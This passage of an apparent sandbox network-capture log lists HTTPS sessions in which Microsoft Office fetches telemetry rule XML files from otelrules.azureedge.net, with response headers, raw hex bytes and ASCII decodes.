6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	62460	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:14 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:14 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:14 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: ee240466-601e-00ab-24f2-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030814Z-185f5d8b95c5lcmhhC1NYCsnsw00000009p000000000q3sb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:14 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	62461	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:14 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:14 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030814Z-185f5d8b95cmd8vfhC1NYC0g4000000005h000000000cuvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:14 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	62462	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:14 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:14 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030814Z-185f5d8b95c4bhwphC1NYCs8gw00000009p000000000vrbr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:14 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	62459	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:14 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:14 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:14 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 231cc5cf-201e-0096-37f7-3aace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030814Z-r1d97b99577656nchC1TEBk98c00000008ag000000008xfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:14 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	62463	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:14 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030814Z-r1d97b99577kk29chC1TEBemmg00000008d00000000025aq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	62467	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:15 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5a5a14b6-c01e-0079-438c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030815Z-1777c6cb754xrr98hC1TEB3kag00000008yg000000000yef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	62464	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:15 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030815Z-r1d97b99577mrt4rhC1TEBftkc000000082000000000m23d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:15 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	62465	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:15 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030815Z-185f5d8b95cdh56ghC1NYCk1x400000003f000000000fgp2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:15 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	62466	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:15 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:15 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030815Z-185f5d8b95c68cvnhC1NYCfn7s00000009mg00000000kcbz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	62468	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:15 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030815Z-r1d97b99577gg97qhC1TEBcrf4000000081g00000000gcry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:15 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	62469	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:15 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:15 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030815Z-1777c6cb754dqf99hC1TEB5nps00000008tg00000000kqb6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:15 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	62471	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:15 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:15 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030815Z-1777c6cb754gc8g6hC1TEB966c000000090000000000avza x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
